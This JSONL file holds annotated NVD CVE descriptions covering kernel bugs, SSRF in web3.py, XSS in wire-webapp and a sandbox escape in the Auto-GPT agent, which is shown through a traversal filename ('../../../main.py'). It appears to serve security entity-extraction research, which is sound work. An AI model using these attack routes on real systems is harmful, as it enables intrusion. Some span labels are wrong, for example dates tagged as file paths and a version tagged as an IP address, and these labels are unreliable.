{"text": "Use After Free vulnerability in Apache Arrow C++.\n\nThis issue affects Apache Arrow C++ from 15.0.0 through 23.0.0. It can be triggered when reading an Arrow IPC file (but not an IPC stream) with pre-buffering enabled, if the IPC file contains data with variadic buffers (such as Binary View and String View data). Depending on the number of variadic buffers in a record batch column and on the temporal sequence of multi-threaded IO, a write to a dangling pointer could occur. The value (a `std::shared_ptr<Buffer>` object) that is written to the dangling pointer is not under direct control of the attacker.\n\nPre-buffering is disabled by default but can be enabled using a specific C++ API call (`RecordBatchFileReader::PreBufferMetadata`). The functionality is not exposed in language bindings (Python, Ruby, C GLib), so these bindings are not vulnerable.\n\nThe most likely consequence of this issue would be random crashes or memory corruption when reading specific kinds of IPC files. If the application allows ingesting IPC files from untrusted sources, this could plausibly be exploited for denial of service. Inducing more targeted kinds of misbehavior (such as confidential data extraction from the running process) depends on memory allocation and multi-threaded IO temporal patterns that are unlikely to be easily controlled by an attacker.\n\nAdvice for users of Arrow C++:\n\n1. check whether you enable pre-buffering on the IPC file reader (using `RecordBatchFileReader::PreBufferMetadata`)\n\n2. if so, either disable pre-buffering (which may have adverse performance consequences), or switch to Arrow 23.0.1 which is not vulnerable", "spans": {"SYSTEM: Python": [[797, 803]], "SYSTEM: Ruby": [[805, 809]], "ORGANIZATION: Apache": [[32, 38], [70, 76]], "VULNERABILITY: denial of service": [[1096, 1113]], "VULNERABILITY: memory corruption": [[928, 945]], "VULNERABILITY: Use After Free": [[0, 14]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25087"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nx86/ioremap: Map EFI-reserved memory as encrypted for SEV\n\nSome drivers require memory that is marked as EFI boot services\ndata. In order for this memory to not be re-used by the kernel\nafter ExitBootServices(), efi_mem_reserve() is used to preserve it\nby inserting a new EFI memory descriptor and marking it with the\nEFI_MEMORY_RUNTIME attribute.\n\nUnder SEV, memory marked with the EFI_MEMORY_RUNTIME attribute needs to\nbe mapped encrypted by Linux, otherwise the kernel might crash at boot\nlike below:\n\n  EFI Variables Facility v0.08 2004-May-17\n  general protection fault, probably for non-canonical address 0x3597688770a868b2: 0000 [#1] SMP NOPTI\n  CPU: 13 PID: 1 Comm: swapper/0 Not tainted 5.12.4-2-default #1 openSUSE Tumbleweed\n  Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 0.0.0 02/06/2015\n  RIP: 0010:efi_mokvar_entry_next\n  [...]\n  Call Trace:\n   efi_mokvar_sysfs_init\n   ? efi_mokvar_table_init\n   do_one_initcall\n   ? __kmalloc\n   kernel_init_freeable\n   ? rest_init\n   kernel_init\n   ret_from_fork\n\nExpand the __ioremap_check_other() function to additionally check for\nthis other type of boot data reserved at runtime and indicate that it\nshould be mapped encrypted for an SEV guest.\n\n [ bp: Massage commit message. ]", "spans": {"FILEPATH: /06/2015": [[872, 880]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[513, 518]], "SYSTEM: QEMU": [[822, 826]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47228"}}
{"text": "FastAPI Api Key provides a backend-agnostic library that provides an API key system. Version 1.1.0 has a timing side-channel vulnerability in verify_key(). The method applied a random delay only on verification failures, allowing an attacker to statistically distinguish valid from invalid API keys by measuring response latencies. With enough repeated requests, an adversary could infer whether a key_id corresponds to a valid key, potentially accelerating brute-force or enumeration attacks. All users relying on verify_key() for API key authentication prior to the fix are affected. Users should upgrade to version 1.1.0 to receive a patch. The patch applies a uniform random delay (min_delay to max_delay) to all responses regardless of outcome, eliminating the timing correlation. Some workarounds are available. Add an application-level fixed delay or random jitter to all authentication responses (success and failure) before the fix is applied and/or use rate limiting to reduce the feasibility of statistical timing attacks.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23996"}}
{"text": "web3.py allows you to interact with the Ethereum blockchain using Python. From 6.0.0b3 to before 7.15.0 and 8.0.0b2, web3.py implements CCIP Read / OffchainLookup (EIP-3668) by performing HTTP requests to URLs supplied by smart contracts in offchain_lookup_payload[\"urls\"]. The implementation uses these contract-supplied URLs directly (after {sender} / {data} template substitution) without any destination validation. CCIP Read is enabled by default (global_ccip_read_enabled = True on all providers), meaning any application using web3.py's .call() method is exposed without explicit opt-in. This results in Server-Side Request Forgery (SSRF) when web3.py is used in backend services, indexers, APIs, or any environment that performs eth_call / .call() against untrusted or user-supplied contract addresses. A malicious contract can force the web3.py process to issue HTTP requests to arbitrary destinations, including internal network services and cloud metadata endpoints. This vulnerability is fixed in 7.15.0 and 8.0.0b2.", "spans": {"FILEPATH: web3.py": [[0, 7], [117, 124], [534, 541], [651, 658], [846, 853]], "SYSTEM: Python": [[66, 72]], "VULNERABILITY: Server-Side Request Forgery": [[611, 638]], "VULNERABILITY: SSRF": [[640, 644]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40072"}}
{"text": "Auto-GPT is an experimental open-source application showcasing the capabilities of the GPT-4 language model. When Auto-GPT is executed directly on the host system via the provided run.sh or run.bat files, custom Python code execution is sandboxed using a temporary dedicated docker container which should not have access to any files outside of the Auto-GPT workspace directory.\nBefore v0.4.3, the `execute_python_code` command (introduced in v0.4.1) does not sanitize the `basename` arg before writing LLM-supplied code to a file with an LLM-supplied name. This allows for a path traversal attack that can overwrite any .py file outside the workspace directory by specifying a `basename` such as `../../../main.py`. This can further be abused to achieve arbitrary code execution on the host running Auto-GPT by e.g. overwriting autogpt/main.py which will be executed outside of the docker environment meant to sandbox custom python code execution the next time Auto-GPT is started. The issue has been patched in version 0.4.3. As a workaround, the risk introduced by this vulnerability can be remediated by running Auto-GPT in a virtual machine, or another environment in which damage to files or corruption of the program is not a critical problem.", "spans": {"FILEPATH: /../../main.py": [[700, 714]], "FILEPATH: run.sh": [[180, 186]], "FILEPATH: run.bat": [[190, 197]], "FILEPATH: main.py": [[837, 844]], "SYSTEM: Python": [[212, 218]], "VULNERABILITY: code execution": [[219, 233], [765, 779], [933, 947]], "VULNERABILITY: path traversal": [[576, 590]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37274"}}
{"text": "The TIBCO Spotfire Server and TIBCO Enterprise Runtime for R components of TIBCO Software Inc.'s TIBCO Enterprise Runtime for R - Server Edition, TIBCO Enterprise Runtime for R - Server Edition, TIBCO Enterprise Runtime for R - Server Edition, TIBCO Spotfire Analytics Platform for AWS Marketplace, TIBCO Spotfire Server, TIBCO Spotfire Server, TIBCO Spotfire Server, TIBCO Spotfire Statistics Services, TIBCO Spotfire Statistics Services, and TIBCO Spotfire Statistics Services contain a vulnerability that theoretically allows a low privileged attacker with local access on the Windows operating system to insert malicious software. The affected component can be abused to execute the malicious software inserted by the attacker with the elevated privileges of the component. This vulnerability results from the affected component searching for run-time artifacts outside of the installation hierarchy. Affected releases are TIBCO Software Inc.'s TIBCO Enterprise Runtime for R - Server Edition: versions 1.2.4 and below, TIBCO Enterprise Runtime for R - Server Edition: versions 1.3.0 and 1.3.1, TIBCO Enterprise Runtime for R - Server Edition: versions 1.4.0, 1.5.0, and 1.6.0, TIBCO Spotfire Analytics Platform for AWS Marketplace: versions 11.3.0 and below, TIBCO Spotfire Server: versions 10.3.12 and below, TIBCO Spotfire Server: versions 10.4.0, 10.5.0, 10.6.0, 10.6.1, 10.7.0, 10.8.0, 10.8.1, 10.9.0, 10.10.0, 10.10.1, 10.10.2, 10.10.3, and 10.10.4, TIBCO Spotfire Server: versions 11.0.0, 11.1.0, 11.2.0, and 11.3.0, TIBCO Spotfire Statistics Services: versions 10.3.0 and below, TIBCO Spotfire Statistics Services: versions 10.10.0, 10.10.1, and 10.10.2, and TIBCO Spotfire Statistics Services: versions 11.1.0, 11.2.0, and 11.3.0.", "spans": {"SYSTEM: Windows": [[580, 587]], "ORGANIZATION: AWS": [[282, 285], [1220, 1223]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28830"}}
{"text": "Saml2 Authentication services for ASP.NET (NuGet package Sustainsys.Saml2) greater than 2.0.0, and less than version 2.5.0 has a faulty implementation of Token Replay Detection. Token Replay Detection is an important defence in depth measure for Single Sign On solutions. The 2.5.0 version is patched. Note that version 1.0.1 is not affected. It has a correct Token Replay Implementation and is safe to use. Saml2 Authentication services for ASP.NET (NuGet package Sustainsys.Saml2) greater than 2.0.0, and less than version 2.5.0 have a faulty implementation of Token Replay Detection. Token Replay Detection is an important defense measure for Single Sign On solutions. The 2.5.0 version is patched. Note that version 1.0.1 and prior versions are not affected. These versions have a correct Token Replay Implementation and are safe to use.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-5261"}}
{"text": "wire-webapp is the web application interface for the wire messaging service. Insufficient escaping in markdown “code highlighting” in the wire-webapp resulted in the possibility of injecting and executing arbitrary HTML code and thus also JavaScript. If a user receives and views such a malicious message, arbitrary code is injected and executed in the context of the victim. This allows the attacker to fully control the user account. Wire-desktop clients that are connected to a vulnerable wire-webapp version are also vulnerable to this attack. The issue has been fixed in wire-webapp 2022-03-30-production.0 and is already deployed on all Wire managed services. On-premise instances of wire-webapp need to be updated to docker tag 2022-03-30-production.0-v0.29.2-0-d144552 or wire-server 2022-03-30 (chart/4.8.0), so that their applications are no longer affected. There are no known workarounds for this issue. ### Patches * The issue has been fixed in wire-webapp **2022-03-30-production.0** and is already deployed on all Wire managed services. * On-premise instances of wire-webapp need to be updated to docker tag **2022-03-30-production.0-v0.29.2-0-d144552** or wire-server **2022-03-30 (chart/4.8.0)**, so that their applications are no longer affected. ### Workarounds * No workarounds known ### For more information If you have any questions or comments about this advisory feel free to email us at [vulnerability-report@wire.com](mailto:vulnerability-report@wire.com) ### Credits We thank [Posix](https://twitter.com/po6ix) for reporting this vulnerability", "spans": {"URL: https://twitter.com/po6ix": [[1511, 1536]], "DOMAIN: wire.com": [[1434, 1442], [1472, 1480]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24799"}}
{"text": "Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Object Migration). Supported versions that are affected are 8.0.4-8.0.8. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Financial Services Analytical Applications Infrastructure accessible data as well as unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [97, 103], [328, 334], [512, 518], [660, 666]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2688"}}
{"text": "Vulnerability in the Hyperion Financial Management product of Oracle Hyperion (component: Task Automation). The supported version that is affected is 11.1.2.4. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Hyperion Financial Management. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Hyperion Financial Management accessible data as well as unauthorized read access to a subset of Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Hyperion Financial Management. CVSS 3.1 Base Score 3.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L).", "spans": {"IP_ADDRESS: 11.1.2.4": [[150, 158]], "ORGANIZATION: Oracle": [[62, 68]], "VULNERABILITY: denial of service": [[683, 700]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2158"}}
{"text": "There are multiple out of bounds (OOB) read vulnerabilities in the implementation of the Common Open Policy Service (COPS) protocol of some Huawei products. The specific decoding function may occur out-of-bounds read when processes an incoming data packet. Successful exploit of these vulnerabilities may disrupt service on the affected device. (Vulnerability ID: HWPSIRT-2018-12275,HWPSIRT-2018-12276,HWPSIRT-2018-12277,HWPSIRT-2018-12278,HWPSIRT-2018-12279,HWPSIRT-2018-12280 and HWPSIRT-2018-12289)\n\nThe seven vulnerabilities have been assigned seven Common Vulnerabilities and Exposures (CVE) IDs: CVE-2020-1818, CVE-2020-1819, CVE-2020-1820, CVE-2020-1821, CVE-2020-1822, CVE-2020-1823 and CVE-2020-1824.", "spans": {"CVE_ID: CVE-2020-1818": [[602, 615]], "CVE_ID: CVE-2020-1819": [[617, 630]], "CVE_ID: CVE-2020-1820": [[632, 645]], "CVE_ID: CVE-2020-1821": [[647, 660]], "CVE_ID: CVE-2020-1822": [[662, 675]], "CVE_ID: CVE-2020-1823": [[677, 690]], "CVE_ID: CVE-2020-1824": [[695, 708]], "ORGANIZATION: Huawei": [[140, 146]], "VULNERABILITY: out-of-bounds read": [[198, 216]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1821"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfix bitmap corruption on close_range() with CLOSE_RANGE_UNSHARE\n\ncopy_fd_bitmaps(new, old, count) is expected to copy the first\ncount/BITS_PER_LONG bits from old->full_fds_bits[] and fill\nthe rest with zeroes.  What it does is copying enough words\n(BITS_TO_LONGS(count/BITS_PER_LONG)), then memsets the rest.\nThat works fine, *if* all bits past the cutoff point are\nclear.  Otherwise we are risking garbage from the last word\nwe'd copied.\n\nFor most of the callers that is true - expand_fdtable() has\ncount equal to old->max_fds, so there's no open descriptors\npast count, let alone fully occupied words in ->open_fds[],\nwhich is what bits in ->full_fds_bits[] correspond to.\n\nThe other caller (dup_fd()) passes sane_fdtable_size(old_fdt, max_fds),\nwhich is the smallest multiple of BITS_PER_LONG that covers all\nopened descriptors below max_fds.  In the common case (copying on\nfork()) max_fds is ~0U, so all opened descriptors will be below\nit and we are fine, by the same reasons why the call in expand_fdtable()\nis safe.\n\nUnfortunately, there is a case where max_fds is less than that\nand where we might, indeed, end up with junk in ->full_fds_bits[] -\nclose_range(from, to, CLOSE_RANGE_UNSHARE) with\n\t* descriptor table being currently shared\n\t* 'to' being above the current capacity of descriptor table\n\t* 'from' being just under some chunk of opened descriptors.\nIn that case we end up with observably wrong behaviour - e.g. spawn\na child with CLONE_FILES, get all descriptors in range 0..127 open,\nthen close_range(64, ~0U, CLOSE_RANGE_UNSHARE) and watch dup(0) ending\nup with descriptor #128, despite #64 being observably not open.\n\nThe minimally invasive fix would be to deal with that in dup_fd().\nIf this proves to add measurable overhead, we can go that way, but\nlet's try to fix copy_fd_bitmaps() first.\n\n* new helper: bitmap_copy_and_expand(to, from, bits_to_copy, size).\n* make copy_fd_bitmaps() take the bitmap size in words, rather than\nbits; it's 'count' argument is always a multiple of BITS_PER_LONG,\nso we are not losing any information, and that way we can use the\nsame helper for all three bitmaps - compiler will see that count\nis a multiple of BITS_PER_LONG for the large ones, so it'll generate\nplain memcpy()+memset().\n\nReproducer added to tools/testing/selftests/core/close_range_test.c", "spans": {"FILEPATH: /testing/selftests/core/close_range_test.c": [[2341, 2383]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-45025"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvme-tcp: remove tag set when second admin queue config fails\n\nCommit 104d0e2f6222 (\"nvme-fabrics: reset admin connection for secure\nconcatenation\") modified nvme_tcp_setup_ctrl() to call\nnvme_tcp_configure_admin_queue() twice. The first call prepares for\nDH-CHAP negotitation, and the second call is required for secure\nconcatenation. However, this change triggered BUG KASAN slab-use-after-\nfree in blk_mq_queue_tag_busy_iter(). This BUG can be recreated by\nrepeating the blktests test case nvme/063 a few times [1].\n\nWhen the BUG happens, nvme_tcp_create_ctrl() fails in the call chain\nbelow:\n\nnvme_tcp_create_ctrl()\n nvme_tcp_alloc_ctrl() new=true             ... Alloc nvme_tcp_ctrl and admin_tag_set\n nvme_tcp_setup_ctrl() new=true\n  nvme_tcp_configure_admin_queue() new=true ... Succeed\n   nvme_alloc_admin_tag_set()               ... Alloc the tag set for admin_tag_set\n  nvme_stop_keep_alive()\n  nvme_tcp_teardown_admin_queue() remove=false\n  nvme_tcp_configure_admin_queue() new=false\n   nvme_tcp_alloc_admin_queue()             ... Fail, but do not call nvme_remove_admin_tag_set()\n nvme_uninit_ctrl()\n nvme_put_ctrl()                            ... Free up the nvme_tcp_ctrl and admin_tag_set\n\nThe first call of nvme_tcp_configure_admin_queue() succeeds with\nnew=true argument. The second call fails with new=false argument. This\nsecond call does not call nvme_remove_admin_tag_set() on failure, due to\nthe new=false argument. Then the admin tag set is not removed. However,\nnvme_tcp_create_ctrl() assumes that nvme_tcp_setup_ctrl() would call\nnvme_remove_admin_tag_set(). Then it frees up struct nvme_tcp_ctrl which\nhas admin_tag_set field. Later on, the timeout handler accesses the\nadmin_tag_set field and causes the BUG KASAN slab-use-after-free.\n\nTo not leave the admin tag set, call nvme_remove_admin_tag_set() when\nthe second nvme_tcp_configure_admin_queue() call fails. Do not return\nfrom nvme_tcp_setup_ctrl() on failure. Instead, jump to \"destroy_admin\"\ngo-to label to call nvme_tcp_teardown_admin_queue() which calls\nnvme_remove_admin_tag_set().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1816, 1830]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38209"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/47x: Fix 47x syscall return crash\n\nEddie reported that newer kernels were crashing during boot on his 476\nFSP2 system:\n\n  kernel tried to execute user page (b7ee2000) - exploit attempt? (uid: 0)\n  BUG: Unable to handle kernel instruction fetch\n  Faulting instruction address: 0xb7ee2000\n  Oops: Kernel access of bad area, sig: 11 [#1]\n  BE PAGE_SIZE=4K FSP-2\n  Modules linked in:\n  CPU: 0 PID: 61 Comm: mount Not tainted 6.1.55-d23900f.ppcnf-fsp2 #1\n  Hardware name: ibm,fsp2 476fpe 0x7ff520c0 FSP-2\n  NIP:  b7ee2000 LR: 8c008000 CTR: 00000000\n  REGS: bffebd83 TRAP: 0400   Not tainted (6.1.55-d23900f.ppcnf-fs p2)\n  MSR:  00000030 <IR,DR>  CR: 00001000  XER: 20000000\n  GPR00: c00110ac bffebe63 bffebe7e bffebe88 8c008000 00001000 00000d12 b7ee2000\n  GPR08: 00000033 00000000 00000000 c139df10 48224824 1016c314 10160000 00000000\n  GPR16: 10160000 10160000 00000008 00000000 10160000 00000000 10160000 1017f5b0\n  GPR24: 1017fa50 1017f4f0 1017fa50 1017f740 1017f630 00000000 00000000 1017f4f0\n  NIP [b7ee2000] 0xb7ee2000\n  LR [8c008000] 0x8c008000\n  Call Trace:\n  Instruction dump:\n  XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX\n  XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX XXXXXXXX\n  ---[ end trace 0000000000000000 ]---\n\nThe problem is in ret_from_syscall where the check for\nicache_44x_need_flush is done. When the flush is needed the code jumps\nout-of-line to do the flush, and then intends to jump back to continue\nthe syscall return.\n\nHowever the branch back to label 1b doesn't return to the correct\nlocation, instead branching back just prior to the return to userspace,\ncausing bogus register values to be used by the rfi.\n\nThe breakage was introduced by commit 6f76a01173cc\n(\"powerpc/syscall: implement system call entry/exit logic in C for PPC32\") which\ninadvertently removed the \"1\" label and reused it elsewhere.\n\nFix it by adding named local labels in the correct locations. Note that\nthe return label needs to be outside the ifdef so that CONFIG_PPC_47x=n\ncompiles.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52499"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: ISO: Fix multiple init when debugfs is disabled\n\nIf bt_debugfs is not created successfully, which happens if either\nCONFIG_DEBUG_FS or CONFIG_DEBUG_FS_ALLOW_ALL is unset, then iso_init()\nreturns early and does not set iso_inited to true. This means that a\nsubsequent call to iso_init() will result in duplicate calls to\nproto_register(), bt_sock_register(), etc.\n\nWith CONFIG_LIST_HARDENED and CONFIG_BUG_ON_DATA_CORRUPTION enabled, the\nduplicate call to proto_register() triggers this BUG():\n\n  list_add double add: new=ffffffffc0b280d0, prev=ffffffffbab56250,\n    next=ffffffffc0b280d0.\n  ------------[ cut here ]------------\n  kernel BUG at lib/list_debug.c:35!\n  Oops: invalid opcode: 0000 [#1] PREEMPT SMP PTI\n  CPU: 2 PID: 887 Comm: bluetoothd Not tainted 6.10.11-1-ao-desktop #1\n  RIP: 0010:__list_add_valid_or_report+0x9a/0xa0\n  ...\n    __list_add_valid_or_report+0x9a/0xa0\n    proto_register+0x2b5/0x340\n    iso_init+0x23/0x150 [bluetooth]\n    set_iso_socket_func+0x68/0x1b0 [bluetooth]\n    kmem_cache_free+0x308/0x330\n    hci_sock_sendmsg+0x990/0x9e0 [bluetooth]\n    __sock_sendmsg+0x7b/0x80\n    sock_write_iter+0x9a/0x110\n    do_iter_readv_writev+0x11d/0x220\n    vfs_writev+0x180/0x3e0\n    do_writev+0xca/0x100\n  ...\n\nThis change removes the early return. The check for iso_debugfs being\nNULL was unnecessary, it is always NULL when iso_inited is false.", "spans": {"FILEPATH: list_debug.c": [[728, 740]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50077"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/numa: Fix the potential null pointer dereference in task_numa_work()\n\nWhen running stress-ng-vm-segv test, we found a null pointer dereference\nerror in task_numa_work(). Here is the backtrace:\n\n  [323676.066985] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000020\n  ......\n  [323676.067108] CPU: 35 PID: 2694524 Comm: stress-ng-vm-se\n  ......\n  [323676.067113] pstate: 23401009 (nzCv daif +PAN -UAO +TCO +DIT +SSBS BTYPE=--)\n  [323676.067115] pc : vma_migratable+0x1c/0xd0\n  [323676.067122] lr : task_numa_work+0x1ec/0x4e0\n  [323676.067127] sp : ffff8000ada73d20\n  [323676.067128] x29: ffff8000ada73d20 x28: 0000000000000000 x27: 000000003e89f010\n  [323676.067130] x26: 0000000000080000 x25: ffff800081b5c0d8 x24: ffff800081b27000\n  [323676.067133] x23: 0000000000010000 x22: 0000000104d18cc0 x21: ffff0009f7158000\n  [323676.067135] x20: 0000000000000000 x19: 0000000000000000 x18: ffff8000ada73db8\n  [323676.067138] x17: 0001400000000000 x16: ffff800080df40b0 x15: 0000000000000035\n  [323676.067140] x14: ffff8000ada73cc8 x13: 1fffe0017cc72001 x12: ffff8000ada73cc8\n  [323676.067142] x11: ffff80008001160c x10: ffff000be639000c x9 : ffff8000800f4ba4\n  [323676.067145] x8 : ffff000810375000 x7 : ffff8000ada73974 x6 : 0000000000000001\n  [323676.067147] x5 : 0068000b33e26707 x4 : 0000000000000001 x3 : ffff0009f7158000\n  [323676.067149] x2 : 0000000000000041 x1 : 0000000000004400 x0 : 0000000000000000\n  [323676.067152] Call trace:\n  [323676.067153]  vma_migratable+0x1c/0xd0\n  [323676.067155]  task_numa_work+0x1ec/0x4e0\n  [323676.067157]  task_work_run+0x78/0xd8\n  [323676.067161]  do_notify_resume+0x1ec/0x290\n  [323676.067163]  el0_svc+0x150/0x160\n  [323676.067167]  el0t_64_sync_handler+0xf8/0x128\n  [323676.067170]  el0t_64_sync+0x17c/0x180\n  [323676.067173] Code: d2888001 910003fd f9000bf3 aa0003f3 (f9401000)\n  [323676.067177] SMP: stopping secondary CPUs\n  [323676.070184] Starting crashdump kernel...\n\nstress-ng-vm-segv in stress-ng is used to stress test the SIGSEGV error\nhandling function of the system, which tries to cause a SIGSEGV error on\nreturn from unmapping the whole address space of the child process.\n\nNormally this program will not cause kernel crashes. But before the\nmunmap system call returns to user mode, a potential task_numa_work()\nfor numa balancing could be added and executed. In this scenario, since the\nchild process has no vma after munmap, the vma_next() in task_numa_work()\nwill return a null pointer even if the vma iterator restarts from 0.\n\nRecheck the vma pointer before dereferencing it in task_numa_work().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: null pointer dereference": [[99, 123], [193, 217]], "VULNERABILITY: NULL pointer dereference": [[311, 335]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50223"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\njffs2: check that raw node were preallocated before writing summary\n\nSyzkaller detected a kernel bug in jffs2_link_node_ref, caused by fault\ninjection in jffs2_prealloc_raw_node_refs. jffs2_sum_write_sumnode doesn't\ncheck return value of jffs2_prealloc_raw_node_refs and simply lets any\nerror propagate into jffs2_sum_write_data, which eventually calls\njffs2_link_node_ref in order to link the summary to an expectedly allocated\nnode.\n\nkernel BUG at fs/jffs2/nodelist.c:592!\ninvalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI\nCPU: 1 PID: 31277 Comm: syz-executor.7 Not tainted 6.1.128-syzkaller-00139-ge10f83ca10a1 #0\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014\nRIP: 0010:jffs2_link_node_ref+0x570/0x690 fs/jffs2/nodelist.c:592\nCall Trace:\n <TASK>\n jffs2_sum_write_data fs/jffs2/summary.c:841 [inline]\n jffs2_sum_write_sumnode+0xd1a/0x1da0 fs/jffs2/summary.c:874\n jffs2_do_reserve_space+0xa18/0xd60 fs/jffs2/nodemgmt.c:388\n jffs2_reserve_space+0x55f/0xaa0 fs/jffs2/nodemgmt.c:197\n jffs2_write_inode_range+0x246/0xb50 fs/jffs2/write.c:362\n jffs2_write_end+0x726/0x15d0 fs/jffs2/file.c:301\n generic_perform_write+0x314/0x5d0 mm/filemap.c:3856\n __generic_file_write_iter+0x2ae/0x4d0 mm/filemap.c:3973\n generic_file_write_iter+0xe3/0x350 mm/filemap.c:4005\n call_write_iter include/linux/fs.h:2265 [inline]\n do_iter_readv_writev+0x20f/0x3c0 fs/read_write.c:735\n do_iter_write+0x186/0x710 fs/read_write.c:861\n vfs_iter_write+0x70/0xa0 fs/read_write.c:902\n iter_file_splice_write+0x73b/0xc90 fs/splice.c:685\n do_splice_from fs/splice.c:763 [inline]\n direct_splice_actor+0x10c/0x170 fs/splice.c:950\n splice_direct_to_actor+0x337/0xa10 fs/splice.c:896\n do_splice_direct+0x1a9/0x280 fs/splice.c:1002\n do_sendfile+0xb13/0x12c0 fs/read_write.c:1255\n __do_sys_sendfile64 fs/read_write.c:1323 [inline]\n __se_sys_sendfile64 fs/read_write.c:1309 [inline]\n __x64_sys_sendfile64+0x1cf/0x210 fs/read_write.c:1309\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x35/0x80 arch/x86/entry/common.c:81\n entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\nFix this issue by checking return value of jffs2_prealloc_raw_node_refs\nbefore calling jffs2_sum_write_data.\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller.", "spans": {"DOMAIN: linuxtesting.org": [[2291, 2307]], "FILEPATH: /jffs2/nodelist.c": [[521, 538], [810, 827]], "FILEPATH: /01/2014": [[757, 765]], "FILEPATH: /jffs2/summary.c": [[876, 892], [946, 962]], "FILEPATH: /jffs2/nodemgmt.c": [[1005, 1022], [1062, 1079]], "FILEPATH: /jffs2/write.c": [[1123, 1137]], "FILEPATH: /jffs2/file.c": [[1174, 1187]], "FILEPATH: /linux/fs.h": [[1380, 1391]], "FILEPATH: /x86/entry/common.c": [[2018, 2037], [2079, 2098]], "FILEPATH: filemap.c": [[1230, 1239], [1287, 1296], [1341, 1350]], "FILEPATH: read_write.c": [[1443, 1455], [1490, 1502], [1536, 1548], [1823, 1835], [1865, 1877], [1916, 1928], [1980, 1992]], "FILEPATH: splice.c": [[1592, 1600], [1624, 1632], [1682, 1690], [1734, 1742], [1780, 1788]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[2264, 2269]], "SYSTEM: QEMU": [[701, 705]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38194"}}
{"text": "Vulnerability in the Java SE product of Oracle Java SE (component: Libraries). Supported versions that are affected are Java SE: 7u241, 8u231, 11.0.5 and 13.0.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Java SE. Note: This vulnerability can only be exploited by supplying data to APIs in the specified Component without using Untrusted Java Web Start applications or Untrusted Java applets, such as through a web service. CVSS 3.0 Base Score 3.7 (Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[21, 25], [47, 51], [120, 124], [286, 290], [425, 429], [558, 562], [599, 603]], "ORGANIZATION: Oracle": [[40, 46]], "VULNERABILITY: denial of service": [[390, 407]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2654"}}
